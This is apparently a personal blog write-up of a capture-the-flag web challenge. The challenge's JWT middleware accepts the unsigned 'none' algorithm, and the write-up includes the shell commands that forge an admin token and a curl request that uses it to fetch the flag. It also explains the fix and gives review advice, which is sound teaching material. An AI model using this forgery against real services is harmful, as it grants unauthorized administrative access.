back to articles
CTF#ctf#web#jwt#writeup

My First CTF Web Challenge Writeup

A walkthrough of a beginner-friendly web challenge — how I read the source, what I tried first, and the small JWT misconfiguration that let the whole thing fall over.

Jan 8, 2026 3 min read 4 tags

This is the first CTF writeup I am actually publishing. The challenge was a 500-point web problem from a recent open CTF, themed as a small admin portal with a JWT-based login. The goal was the contents of /flag on the server.

I am keeping this writeup focused on the thought process rather than the final exploit. The exploit is small; the thinking is what generalizes.

The challenge

The portal had three routes:

POST /api/login        -> issues a JWT
GET  /api/profile      -> returns the current user (JWT required)
GET  /api/admin/flag   -> returns the flag (admin only)

Source was provided. The interesting part:

// auth.js
const jwt = require("jsonwebtoken");
 
function verifyToken(req, res, next) {
  const token = req.headers.authorization?.replace("Bearer ", "");
  if (!token) return res.status(401).end();
  try {
    const decoded = jwt.verify(token, process.env.JWT_SECRET, {
      algorithms: ["HS256", "none"],
    });
    req.user = decoded;
    next();
  } catch (e) {
    return res.status(401).end();
  }
}

The flag route checked req.user.role === "admin".

What I tried first

The instinct in web challenges is to look for the cheap path first. I went through it in this order:

  1. Look for the admin user. No registration endpoint, no obvious admin credential in the source. Skip.
  2. Look for an authorization bug. The flag route does if (req.user.role !== "admin") return 403. Strict. Skip.
  3. Look at how the JWT is verified. This is where the bug usually is in web challenges.

Reading the verifyToken middleware twice, the line that jumped out was:

algorithms: ["HS256", "none"]

The none algorithm is a historical JWT footgun: it means the token is unsigned and the signature segment is empty. If a verifier accepts none, an attacker can forge any token.

Forging the token

A JWT is base64url(header).base64url(payload).signature. With alg: none the signature is the empty string.

header='{"alg":"none","typ":"JWT"}'
payload='{"sub":"admin","role":"admin"}'
 
b64() { printf '%s' "$1" | basenc --base64url --wrap=0 | tr -d '='; }
 
token="$(b64 "$header").$(b64 "$payload")."
echo "$token"

Then:

curl -H "Authorization: Bearer $token" \
     https://chal.example.com/api/admin/flag

Flag returned.

Why this kept working

It is tempting to say "the bug is using none". The deeper bug is passing a list of algorithms at all. jsonwebtoken lets you constrain the algorithm to a single value:

jwt.verify(token, secret, { algorithms: ["HS256"] });

A safe verifier accepts exactly the algorithm it expects. The vulnerable one accepted two, and none was on the list because someone was debugging once and forgot.

What I will steal from this for the next challenge

A few habits I am formalizing after this one:

  • Read the verifier before the routes. Authorization bugs hide in middleware more than in handlers.
  • Grep for the algorithm name. none, RS256/HS256 confusion, and alg: ES256 with the wrong key type are the three I expect to keep seeing.
  • Decode every token I am given. The header is the cheapest tell. If the header has kid, look for path traversal in the key lookup.

And the lesson for the real job

This challenge is fictional. The bug is not. I have seen the same shape in real authorization libraries — algorithms left as a list, none accepted because it was on the default in an older version, a parser that promotes the algorithm field from the unverified header before checking it.

When I review a service's auth, the first question I now ask is:

"What algorithm does the verifier insist on?"

If the answer is "whatever the token says", the service is the challenge.